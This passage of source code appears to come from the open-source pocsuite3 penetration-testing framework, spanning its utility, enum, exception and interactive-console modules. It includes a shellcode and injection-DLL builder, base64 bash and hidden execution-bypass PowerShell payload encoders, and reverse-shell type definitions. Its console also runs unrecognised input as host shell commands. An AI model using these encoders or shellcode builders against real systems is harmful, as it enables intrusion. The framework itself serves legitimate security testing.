all the local network address """ ips = OrderedSet() wan_ipv4 = get_host_ip(check_private=False) ips.add(wan_ipv4) if not all: return list(ips) wan_ipv6 = get_host_ipv6() if wan_ipv6: ips.add(wan_ipv6) # fix https://github.com/BVLC/caffe/issues/861 os.environ["MPLBACKEND"] = "Agg" # fix https://github.com/secdev/scapy/issues/3216 logging.getLogger("scapy").setLevel(logging.ERROR) from scapy.all import WINDOWS, get_if_list, get_if_addr if WINDOWS: from scapy.all import IFACES for iface in sorted(IFACES): dev = IFACES[iface] ips.add(dev.ip) else: for iface in get_if_list(): ipv4 = get_if_addr(iface) if ipv4 != '0.0.0.0': ips.add(ipv4) return list(ips) def get_host_ip(dst='8.8.8.8', check_private=True): """ Fetches source ipv4 address when connect to dst Args: dst : target ip or domain Returns: : source ip address """ # maybe docker env if dst == ['127.0.0.1', 'localhost']: dst = '8.8.8.8' try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((dst, 80)) ip = s.getsockname()[0] except Exception: ip = '127.0.0.1' finally: s.close() if check_private and ip_address(ip).is_private: logger.warn( f'your wan ip {mosaic(ip)} is a private ip, ' 'there may be some issues in the next stages of exploitation' ) return ip def has_poll(): return hasattr(select, "poll") def get_poc_requires(code): return extract_regex_result(POC_REQUIRES_REGEX, code) def get_poc_name(code): if re.search(r'register_poc', code): return extract_regex_result(r"""(?sm)POCBase\):.*?name\s*=\s*['"](?P.*?)['"]""", code) elif re.search(r'matchers:\s*-', code): return extract_regex_result(r"""(?sm)\s*name\s*:\s*(?P[^\n]*).*matchers:""", code) return '' def is_os_64bit(): return machine().endswith('64') def write_file(data, file_ext='', file_name=''): """ Function to create file """ if not file_ext.startswith('.'): file_ext = '.' + file_ext if not file_name: file_name = TIMESTAMP file_name += file_ext file_path = os.path.join(paths.POCSUITE_TMP_PATH, file_name) fd = open(file_path, 'wb+') fd.write(data) fd.close() return file_path def search_file(filename, search_path): """ Given a search path, find file """ path = os.path.join(search_path, filename) if os.path.exists(path): return path return None def get_objective_code(asm_file, target_arch, debug=0): """ Get objective code (file: *.o) """ if target_arch == OS_ARCH.X86: output_format = 'elf' elif target_arch == OS_ARCH.X64: output_format = 'elf64' else: print("Format for output objective file is not defined") return None if not asm_file: print("You must specify some params passed to function") return None obj_file = (asm_file.split('.'))[0] + ".o" app = 'nasm' # Application that do magic for us if OS_SYSTEM == OS.WINDOWS: app += '.exe' find_app = search_file("%s" % app, paths.SHELLCODES_DEV_PATH) if find_app: if debug: print("app: '%s' found at %s" % (app, find_app)) else: print("You must install app: '%s' and maybe edit environment variables path to it" % app) return None elif OS_SYSTEM == OS.LINUX: find_app = app else: print("Can't understand source os") return None command = "%s -f%s -o%s %s" % (find_app, output_format, obj_file, asm_file) if debug: print(command) res = call([find_app, "-f", output_format, "-o", obj_file, asm_file]) if res == 0: if debug: print("Objective code has been created") return obj_file else: print("Something wrong while getting objective code") return None def objdump(obj_file, os_target_arch, debug=0): """ Get shellcode with objdump utility """ res = '' if not obj_file: print("You must specify some params passed to function") return None else: app = 'objdump' if OS_SYSTEM == OS.WINDOWS: app += ".exe" find_app = search_file("%s" % app, paths.SHELLCODES_DEV_PATH) if find_app: if debug: print("app: '%s' found at %s" % (app, find_app)) else: print("You must install app: '%s' and maybe edit environment variables path to it" % app) return None elif OS_SYSTEM == OS.LINUX: find_app = app else: print("Can't understand source os") return None if os_target_arch == OS_ARCH.X86: p = Popen(['%s' % find_app, '-d', obj_file], stdout=PIPE, stderr=PIPE) elif os_target_arch == OS_ARCH.X64: p = Popen(['%s' % find_app, '-d', obj_file, '--disassembler-options=addr64'], stdout=PIPE, stderr=PIPE) else: print("OS TARGET ARCH '%s' is not supported" % os_target_arch) return (stdout, stderr) = p.communicate() if p.returncode == 0: for line in stdout.splitlines(): cols = line.split('\t') if len(cols) >= 2: for b in [b for b in cols[1].split(' ') if b != '']: res = res + ('\\x%s' % b) else: raise ValueError(stderr) if res and debug: print("objdump is created") return res def create_shellcode(asm_code, os_target, os_target_arch, make_exe=0, debug=0, filename="", dll_inj_funcs=[]): if os_target == OS.LINUX: dll_inj_funcs = [] if not is_os_64bit() and os_target_arch == OS_ARCH.X64: print("ERR: can not create shellcode for this os_target_arch ({0}) on os_arch ({1})".format(os_target_arch, OS_ARCH.X64)) return None asm_file = write_file(asm_code, '.asm', filename) obj_file = get_objective_code(asm_file, os_target_arch, debug) # stage_2: if obj_file: shellcode = objdump(obj_file, os_target_arch, debug) shellcode = shellcode.replace('\\x', '').decode('hex') # shellcode = extract_shell_from_obj(obj_file) else: return None if make_exe: make_binary_from_obj(obj_file, os_target, os_target_arch, debug) if dll_inj_funcs: generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug) return shellcode, asm_file.split(".")[0] def generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug): asm_code = asm_code.replace("global _start", "").replace("_start:", "") additional_code = "" for func in dll_inj_funcs: additional_code += "global _{}\r\n".format(func) for func in dll_inj_funcs: additional_code += "_{}:\r\n".format(func) asm_code = additional_code + asm_code asm_file = write_file(asm_code, '.asm', filename) obj_file = get_objective_code(asm_file, os_target_arch, debug) make_binary_from_obj(obj_file, os_target, os_target_arch, debug, True) def make_binary_from_obj(o_file, os_target, os_target_arch, debug=0, is_dll=False): """ Function for test shellcode with app written on c-language """ if is_dll and os_target == OS.LINUX: print('Dll can be generated only for WINDOWS OS') return None app = 'ld' find_app = '' if OS_SYSTEM == OS.WINDOWS: if os_target == OS.LINUX: app += '.gold' elif os_target == OS.WINDOWS and os_target_arch == OS_ARCH.X64: app += '64' app += '.exe' find_app = search_file("%s" % app, paths.SHELLCODES_DEV_PATH) if find_app: if debug: print("app: '%s' found at %s" % (app, find_app)) else: print("You must install app: '%s' and maybe edit environment variables path to it" % app) return None elif OS_SYSTEM == OS.LINUX: find_app = app else: print("Can't understand source os: %s" % OS_SYSTEM) return None c_exe = (o_file.split('.'))[0] commands_list = [find_app, '-o', c_exe, o_file, '--strip-all'] if OS_SYSTEM == OS.LINUX: if os_target == OS.WINDOWS: commands_list.append('-m') commands_list.append('i386pe') if is_dll: commands_list.append('-shared') p = Popen(commands_list) p.communicate() elif OS_SYSTEM == OS.WINDOWS: if is_dll: commands_list.append('-shared') p = Popen(commands_list) p.communicate() else: print("ERR: source os (%s) is not supported" % OS_SYSTEM) if os_target == OS.WINDOWS: newname = c_exe + '.dll' if is_dll else c_exe + '.exe' if os.path.exists(newname): os.remove(newname) os.rename(c_exe, newname) print("Complete. Now you can try to execute file: %s" % c_exe) def extract_shell_from_obj(file): with open(file, 'rb') as f: contents = f.read() flag = contents[4] if flag == '\x01': length = struct.unpack('H', port) return struct.pack(' len(text): return text if char == text[-length:]: text = text[:-length] return text def ltrim(text, char): """ Delete the specified character on the left :param text: str :param char: character :return: """ length = len(char) if length > len(text): return text if char == text[:length]: text = text[length:] return text def index_modules(modules_directory): """ Returns list of all exploits modules :param str modules_directory: path to modules directory :return list: list of found modules """ modules = [] for root, _, files in os.walk(modules_directory): files = filter(lambda x: not x.startswith("__") and x.endswith(".py") or x.endswith(".yaml"), files) modules.extend(map(lambda x: os.path.join(root, os.path.splitext(x)[0]), files)) return modules def humanize_path(path: str) -> str: """ Replace python dotted path to directory-like one. ex. foo.bar.baz -> foo/bar/baz :param str path: path to humanize :return str: humanized path """ return path.replace(".", os.sep) def pythonize_path(path: str) -> str: """ Replaces argument to valid python dotted notation. ex. foo/bar/baz -> foo.bar.baz :param str path: path to pythonize :return str: pythonized path """ return path.replace(os.sep, ".") def module_required(fn): """ Checks if module is loaded. Decorator that checks if any module is activated before executing command specific to modules (ex. 'run'). """ @wraps(fn) def wrapper(self, *args, **kwargs): if not self.current_module: logger.error("You have to activate any module with 'use' command.") return return fn(self, *args, **kwargs) try: name = "module_required" wrapper.__decorators__.append(name) except AttributeError: wrapper.__decorators__ = [name] return wrapper def stop_after(space_number): """ Decorator that determines when to stop tab-completion Decorator that tells command specific complete function (ex. "complete_use") when to stop tab-completion. Decorator counts number of spaces (' ') in line in order to determine when to stop. ex. "use exploits/dlink/specific_module " -> stop complete after 2 spaces "set rhost " -> stop completing after 2 spaces "run " -> stop after 1 space :param space_number: number of spaces (' ') after which tab-completion should stop :return: """ def _outer_wrapper(wrapped_function): @wraps(wrapped_function) def _wrapper(self, *args, **kwargs): try: if args[1].count(" ") == space_number: return [] except Exception as err: logger.error(err) return wrapped_function(self, *args, **kwargs) return _wrapper return _outer_wrapper def check_port(ip, port): res = socket.getaddrinfo(ip, port, socket.AF_UNSPEC, socket.SOCK_STREAM) af, sock_type, proto, canonname, sa = res[0] s = socket.socket(af, sock_type, proto) try: s.connect(sa) s.shutdown(2) return True except socket.error: return False finally: s.close() def exec_cmd(cmd, raw_data=True): cmd = shlex.split(cmd) out_data = b'' try: p = subprocess.Popen( cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) while p.poll() is None: line = p.stdout.read() out_data += line except Exception as ex: logger.error("Execute cmd error {}".format(str(ex))) encoding = chardet.detect(out_data).get('encoding') encoding = encoding if encoding else 'utf-8' if IS_WIN: out_data = out_data.split(b'\r\n\r\n') else: out_data = out_data.split(b'\n\n') if not raw_data: for i, data in enumerate(out_data): out_data[i] = data.decode(encoding, errors='ignore') return out_data def mosaic(s): """ Replacing URL/IPv4/IPv6 Address with asterisk's eg. A.B.C.D -> *.*.C.D """ s = str(s) if not conf.get('ppt', False): return s scheme = '' t = s.split('://', 1) if len(t) > 1: scheme, s = f'{t[0]}://', t[1] # URL/IPv6 if len(re.findall(r':', s)) >= 3: t = s.split(':') for i in range(1, len(t) - 2): if ']' in t[i]: break if t[i] != '': t[i] = '*' s = ':'.join(t) # URL/IPv4 elif len(re.findall(r'\.', s)) >= 3: t = s.split('.', 4) t[0] = t[1] = '*' s = '.'.join(t) elif '.' in s: t = s.split('.') for i in range(0, len(t) - 1): t[i] = '*' s = '.'.join(t) return scheme + s def encoder_bash_payload(cmd: str) -> str: ret = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(cmd.encode()).decode() return ret def encoder_powershell_payload(powershell: str): command = "powershell -NonI -W Hidden -NoP -Exec Bypass -Enc " + base64.b64encode( '\x00'.join(list(powershell)).encode() + b'\x00').decode() return command def get_host_ipv6(dst='2001:db8::'): """ Fetches source ipv6 address when connect to dst Args: dst : target ip or domain Returns: : source ipv6 address """ s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) try: s.connect((dst, 1027)) except socket.error: return None return s.getsockname()[0] class OrderedSet(collections.OrderedDict, collectionsAbc.MutableSet): def add(self, e): self[e] = None def discard(self, e): self.pop(e, None) def __le__(self, other): return all(e in other for e in self) def __lt__(self, other): return self <= other and self != other def __ge__(self, other): return all(e in self for e in other) def __gt__(self, other): return self >= other and self != other def __repr__(self): return 'OrderedSet([%s])' % (', '.join(map(repr, self.keys()))) def __str__(self): return '{%s}' % (', '.join(map(repr, self.keys()))) def get_file_text(filepath): with open(filepath, 'rb') as f: content = f.read() encoding = chardet.detect(content)['encoding'] or 'utf-8' return content.decode(encoding) if __name__ == '__main__': cmd = 'ping baidu.com' res = exec_cmd(cmd=cmd) print(res) pocsuite3-2.0.3/pocsuite3/lib/core/convert.py000066400000000000000000000024061440624615500211110ustar00rootroot00000000000000import sys from pocsuite3.lib.core.settings import IS_WIN from pocsuite3.lib.core.settings import UNICODE_ENCODING def single_time_warn_message(message): """ Cross-linked function """ sys.stdout.write(message) sys.stdout.write("\n") sys.stdout.flush() def stdout_encode(data): ret = None try: data = data or "" # Reference: http://bugs.python.org/issue1602 if IS_WIN: output = data.encode(sys.stdout.encoding, "replace") if '?' in output and '?' not in data: warn_msg = "cannot properly display Unicode characters " warn_msg += "inside Windows OS command prompt " warn_msg += "(http://bugs.python.org/issue1602). All " warn_msg += "unhandled occurances will result in " warn_msg += "replacement with '?' character. Please, find " warn_msg += "proper character representation inside " warn_msg += "corresponding output files. " single_time_warn_message(warn_msg) ret = output else: ret = data.encode(sys.stdout.encoding) except Exception: ret = data.encode(UNICODE_ENCODING) if isinstance(data, str) else data return ret pocsuite3-2.0.3/pocsuite3/lib/core/data.py000066400000000000000000000011661440624615500203440ustar00rootroot00000000000000from pocsuite3.lib.core.datatype import AttribDict from pocsuite3.lib.core.log import LOGGER # logger logger = LOGGER # object to share within function and classes command # line options and settings conf = AttribDict() # Dictionary storing # (1)targets, (2)registeredPocs, (3) bruteMode # (4)results, (5)pocFiles # (6)multiThreadMode \ threadContinue \ threadException kb = AttribDict() # object to store original command line options cmd_line_options = AttribDict() # object to store merged options (command line, configuration file and default options) merged_options = AttribDict() # pocsuite paths paths = AttribDict() pocsuite3-2.0.3/pocsuite3/lib/core/datatype.py000066400000000000000000000022151440624615500212420ustar00rootroot00000000000000from collections import OrderedDict class AttribDict(OrderedDict): """ AttrDict extends OrderedDict to provide attribute-style access. Items starting with __ or _OrderedDict__ can't be accessed as attributes. """ __exclude_keys__ = set() def __getattr__(self, name): if (name.startswith('__') or name.startswith('_OrderedDict__') or name in self.__exclude_keys__): return super(AttribDict, self).__getattribute__(name) else: try: return self[name] except KeyError: raise AttributeError(name) def __setattr__(self, name, value): if (name.startswith('__') or name.startswith('_OrderedDict__') or name in self.__exclude_keys__): return super(AttribDict, self).__setattr__(name, value) self[name] = value def __delattr__(self, name): if (name.startswith('__') or name.startswith('_OrderedDict__') or name in self.__exclude_keys__): return super(AttribDict, self).__delattr__(name) del self[name] pocsuite3-2.0.3/pocsuite3/lib/core/decorators.py000066400000000000000000000007421440624615500215770ustar00rootroot00000000000000import hashlib def cachedmethod(f, cache={}): """ Method with a cached content Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ """ def _(*args, **kwargs): key_string = "|".join(str(_) for _ in (f, args, kwargs)).encode() key = int(hashlib.md5(key_string).hexdigest(), 16) & 0x7fffffffffffffff if key not in cache: cache[key] = f(*args, **kwargs) return cache[key] return _ pocsuite3-2.0.3/pocsuite3/lib/core/enums.py000066400000000000000000000133151440624615500205610ustar00rootroot00000000000000from pocsuite3.lib.core.datatype import AttribDict class LOGGING_LEVELS: NOTSET = 0 DEBUG = 10 INFO = 20 WARNING = 30 ERROR = 40 CRITICAL = 50 class CUSTOM_LOGGING: SYSINFO = 21 SUCCESS = 22 ERROR = 23 WARNING = 24 class OUTPUT_STATUS: SUCCESS = 1 FAILED = 0 class HTTP_HEADER: ACCEPT = "Accept" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_ENCODING = "Accept-Encoding" ACCEPT_LANGUAGE = "Accept-Language" AUTHORIZATION = "Authorization" CACHE_CONTROL = "Cache-Control" CONNECTION = "Connection" CONTENT_ENCODING = "Content-Encoding" CONTENT_LENGTH = "Content-Length" CONTENT_RANGE = "Content-Range" CONTENT_TYPE = "Content-Type" COOKIE = "Cookie" EXPIRES = "Expires" HOST = "Host" IF_MODIFIED_SINCE = "If-Modified-Since" LAST_MODIFIED = "Last-Modified" LOCATION = "Location" PRAGMA = "Pragma" PROXY_AUTHORIZATION = "Proxy-Authorization" PROXY_CONNECTION = "Proxy-Connection" RANGE = "Range" REFERER = "Referer" REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 SERVER = "Server" SET_COOKIE = "Set-Cookie" TRANSFER_ENCODING = "Transfer-Encoding" URI = "URI" USER_AGENT = "User-Agent" VIA = "Via" X_POWERED_BY = "X-Powered-By" X_DATA_ORIGIN = "X-Data-Origin" class PROXY_TYPE: HTTP = "HTTP" HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" SOCKS5H = "SOCKS5H" class ERROR_TYPE_ID: NOTIMPLEMENTEDERROR = 2 CONNECTIONERROR = 3.0 HTTPERROR = 3.1 CONNECTTIMEOUT = 3.2 TOOMANYREDIRECTS = 3.3 OTHER = 4 class OS: LINUX = "linux" WINDOWS = "windows" class OS_ARCH: X86 = "32bit" X64 = "64bit" class ENCODER_TPYE: XOR = "xor" ALPHANUMERIC = "alphanum" ROT_13 = "rot_13" FNSTENV_XOR = "fnstenv" JUMPCALL_XOR = "jumpcall" class SHELLCODE_TYPE: JSP = "jsp" JAR = "jar" WAR = "war" PYTHON = "python" PHP = "php" ASPX = "aspx" class SHELLCODE_CONNECTION: BIND = 'bind' REVERSE = 'reverse' class PLUGIN_TYPE: TARGETS = 'targets' POCS = 'pocs' RESULTS = 'results' class AUTOCOMPLETE_TYPE: SQL = 0 OS = 1 POCSUITE = 2 API = 3 CONSOLE = 4 class POC_CATEGORY: EXPLOITS = AttribDict() EXPLOITS.WEBAPP = 'WebApp' EXPLOITS.DOS = 'DoS' EXPLOITS.REMOTE = 'Remote' EXPLOITS.LOCAL = 'Local' TOOLS = AttribDict() TOOLS.CRACK = 'Crack' PROTOCOL = AttribDict() PROTOCOL.HTTP = "Http" PROTOCOL.FTP = "Ftp" PROTOCOL.SSH = "Ssh" PROTOCOL.TELNET = "Telnet" PROTOCOL.REDIS = "Redis" PROTOCOL.SMTP = 'SMTP' PROTOCOL.DNS = 'DNS' PROTOCOL.SNMP = 'SNMP' PROTOCOL.SMB = 'SMB' PROTOCOL.MQTT = 'MQTT' PROTOCOL.MYSQL = 'MySQL' PROTOCOL.RDP = 'RDP' PROTOCOL.UPNP = 'UPnP' PROTOCOL.AJP = 'AJP' PROTOCOL.XMPP = 'XMPP' PROTOCOL.WINBOX = 'Winbox' PROTOCOL.MEMCACHED = 'Memcached' PROTOCOL.BACNET = 'BACnet' PROTOCOL.T3 = 'T3' class OPTION_TYPE: BOOLEAN = "boolean" INTEGER = "integer" FLOAT = "float" STRING = "string" class VUL_TYPE: BACKDOOR = 'Backdoor' INSECURE_COOKIE_HANDLING = 'Insecure Cookie Handling' CSRF = 'CSRF' XSS = 'XSS' UXSS = 'UXSS' SSRF = 'Server-Side Request Forgery' SHELLCODE = 'ShellCode' SQL_INJECTION = 'SQL Injection' ARBITRARY_FILE_DOWNLOAD = 'Arbitrary File Download' ARBITRARY_FILE_CREATION = 'Arbitrary File Creation' ARBITRARY_FILE_DELETION = 'Arbitrary File Deletion' ARBITRARY_FILE_READ = 'Arbitrary File Read' OTHER = 'Other' VARIABLE_COVERAGE = 'Variable Coverage' COMMAND_EXECUTION = 'Command Execution' INJECTING_MALWARE_CODES = 'Injecting Malware Codes' WEAK_PASSWORD = 'Weak Password' DENIAL_OF_SERVICE = 'Denial Of service' DATABASE_FOUND = 'Database Found' UPLOAD_FILES = 'Upload Files' LOCAL_OVERFLOW = 'Local Overflow' PRIVILEGE_ESCALATION = 'Privilege Escalation' INFORMATION_DISCLOSURE = 'Information Disclosure' LOGIN_BYPASS = 'Login Bypass' PATH_TRAVERSAL = 'Path Traversal' RESOLVE_ERROR = 'Resolve Error' UNAUTHORIZED_ACCESS = 'Unauthorized Access' PATH_DISCLOSURE = 'Path Disclosure' CODE_EXECUTION = 'Code Execution' REMOTE_PASSWORD_CHANGE = 'Remote Password Change' REMOTE_OVERFLOW = 'Remote Overflow' DIRECTORY_LISTING = 'Directory Listing' NULL_BYTE_INJECTION = 'Null Byte Injection' MAN_IN_THE_MIDDLE = 'Man-in-the-middle' FORMAT_STRING = 'Format String' BUFFER_OVERFLOW = 'Buffer Overflow' CRLF_INJECTION = 'CRLF Injection' XML_INJECTION = 'XML Injection' LOCAL_FILE_INCLUSION = 'Local File Inclusion' REMOTE_FILE_INCLUSION = 'Remote File Inclusion' CREDENTIAL_PREDICTION = 'Credential Prediction' HTTP_PARAMETER_POLLUTION = 'HTTP Parameter Pollution' HTTP_REQUEST_SPLITTING = 'HTTP Request Splitting' HTTP_RESPONSE_SPLITTING = 'HTTP Response Splitting' HTTP_RESPONSE_SMUGGLING = 'HTTP Response Smuggling' HTTP_REQUEST_SMUGGLING = 'HTTP Request Smuggling' SSI_INJECTION = 'SSI Injection' OUT_OF_MEMORY = 'Out of Memory' INTEGER_OVERFLOWS = 'Integer Overflows' CONTENT_SPOOFING = 'Content Spoofing' XQUERY_INJECTION = 'XQuery Injection' BUFFER_OVER_READ = 'Buffer Over-read' BRUTE_FORCE = 'Brute Force' LDAP_INJECTION = 'LDAP Injection' SECURITY_MODE_BYPASS = 'Security Mode Bypass' BACKUP_FILE_FOUND = 'Backup File Found' XPATH_INJECTION = 'XPath Injection' URL_REDIRECTOR_ABUSE = 'URL Redirector Abuse' CODE_DISCLOSURE = 'Code Disclosure' USE_AFTER_FREE = 'Use After Free' DNS_HIJACKING = 'DNS Hijacking' IMPROPER_INPUT_VALIDATION = 'Improper Input Validation' UAF = 'Use After Free' pocsuite3-2.0.3/pocsuite3/lib/core/exception.py000066400000000000000000000032341440624615500214270ustar00rootroot00000000000000from http.client import HTTPException class PocsuiteBaseException(Exception): pass class PocsuiteUserQuitException(PocsuiteBaseException): pass class PocsuiteShellQuitException(PocsuiteBaseException): pass class PocsuiteDataException(PocsuiteBaseException): pass class PocsuiteGenericException(PocsuiteBaseException): pass class PocsuiteSystemException(PocsuiteBaseException): pass class PocsuiteFilePathException(PocsuiteBaseException): pass class PocsuiteConnectionException(PocsuiteBaseException): pass class PocsuiteThreadException(PocsuiteBaseException): pass class PocsuiteValueException(PocsuiteBaseException): pass class PocsuiteMissingPrivileges(PocsuiteBaseException): pass class PocsuiteSyntaxException(PocsuiteBaseException): pass class PocsuiteValidationException(PocsuiteBaseException): pass class PocsuiteMissingMandatoryOptionException(PocsuiteBaseException): pass class PocsuitePluginBaseException(PocsuiteBaseException): pass class PocsuitePluginDorkException(PocsuitePluginBaseException): pass class PocsuiteHeaderTypeException(PocsuiteBaseException): pass class PocsuiteIncompleteRead(HTTPException): def __init__(self, partial, expected=None): self.args = partial, self.partial = partial self.expected = expected def __repr__(self): if self.expected is not None: e = ', %i more expected' % self.expected else: e = '' return '%s(%i bytes read%s)' % (self.__class__.__name__, len(self.partial), e) def __str__(self): return repr(self) pocsuite3-2.0.3/pocsuite3/lib/core/interpreter.py000066400000000000000000000536651440624615500220110ustar00rootroot00000000000000# pylint: disable=E0202 import os import re import chardet import prettytable from termcolor import colored from pocsuite3.lib.controller.controller import start from pocsuite3.lib.core.common import banner, index_modules, data_to_stdout, module_required, \ get_poc_name, stop_after, get_local_ip, is_ipv6_address_format, rtrim, ltrim, exec_cmd, get_file_text from pocsuite3.lib.core.data import logger, paths, kb, conf from pocsuite3.lib.core.enums import POC_CATEGORY, AUTOCOMPLETE_TYPE from pocsuite3.lib.core.exception import PocsuiteBaseException, PocsuiteShellQuitException from pocsuite3.lib.core.option import _set_listener, _set_http_referer, _set_http_user_agent, _set_network_proxy, \ _set_network_timeout from pocsuite3.lib.core.register import load_file_to_module from pocsuite3.lib.core.settings import IS_WIN from pocsuite3.lib.core.shell import auto_completion, readline class BaseInterpreter(object): global_help = "" def __init__(self): self.setup() self.banner = "" self.complete = None # Prepare to execute system commands self.input_command = '' self.input_args = '' def setup(self): """ Initialization of third-party libraries Setting interpreter history. Setting appropriate completer function. :return: """ auto_completion(completion=AUTOCOMPLETE_TYPE.CONSOLE, console=self.complete) def parse_line(self, line): """ Split line into command and argument. :param line: line to parse :return: (command, argument) """ command, _, arg = line.strip().partition(" ") return command, arg.strip() @property def prompt(self): """ Returns prompt string """ return ">>>" def get_command_handler(self, command): """ Parsing command and returning appropriate handler. :param command: command :return: command_handler """ try: command_handler = getattr(self, "command_{}".format(command)) except AttributeError: cmd = self.input_command + ' ' + self.input_args for line in exec_cmd(cmd=cmd): result_encoding = chardet.detect(line)['encoding'] if result_encoding: print(line.decode(result_encoding)) raise PocsuiteBaseException("Pocsuite3 Unknown this command, and run it on system: '{}'".format(command)) return command_handler def start(self): """ Routersploit main entry point. Starting interpreter loop. """ while True: try: ''' # BUG https://github.com/knownsec/pocsuite3/issues/317 https://stackoverflow.com/questions/52102240/how-to-apply-coloring-formatting-to-the-displayed-text-in-input-function-simi colorama works by replacing sys.stdout and sys.stderr with versions that interpret ISO 6429 sequences, make appropriate Win32 calls to implement them, and send the rest of the characters on to the underlying stream. This explains your observations: input doesn’t use the Python-level sys.stdout.write, and Spyder interprets the sequences itself but is unaffected by the Win32 calls. The only reasonable fix seems to be to use input with no prompt :( ''' self.input_command, self.input_args = self.parse_line(input(self.prompt)) command = self.input_command.lower() if not command: continue command_handler = self.get_command_handler(command) command_handler(self.input_args) except PocsuiteBaseException as warn: logger.warn(warn) except EOFError: logger.info("Pocsuite3 stopped") break except KeyboardInterrupt: logger.warn('Interrupt: use the \'exit\' command to quit') continue def complete(self, text, state): """Return the next possible completion for 'text'. If a command has not been entered, then complete against command list. Otherwise try to call complete_ to get list of completions. """ if state == 0: original_line = readline.get_line_buffer() line = original_line.lstrip() stripped = len(original_line) - len(line) start_index = readline.get_begidx() - stripped end_index = readline.get_endidx() - stripped if start_index > 0: cmd, args = self.parse_line(line) if cmd == "": complete_function = self.default_completer else: try: complete_function = getattr(self, "complete_" + cmd) except AttributeError: complete_function = self.default_completer else: complete_function = self.raw_command_completer self.completion_matches = complete_function(text, line, start_index, end_index) try: return self.completion_matches[state] except IndexError: return None def commands(self, *ignored): """ Returns full list of interpreter commands. :param ignored: :return: full list of interpreter commands """ return [command.rsplit("_").pop() for command in dir(self) if command.startswith("command_")] def raw_command_completer(self, text, line, start_index, end_index): """ Complete command w/o any argument """ return [command for command in self.suggested_commands() if command.startswith(text)] def default_completer(self, *ignored): return [] def suggested_commands(self): """ Entry point for intelligent tab completion. Overwrite this method to suggest suitable commands. :return: list of suitable commands """ return self.commands() class PocsuiteInterpreter(BaseInterpreter): global_help = """Global commands: help Print this help menu use Select a module for usage search Search for appropriate module list|show all Show all available pocs clear clear the console screen exit Exit Pocsuite3""" module_help = """Module commands: run Run the selected module with the given options back De-select the current module set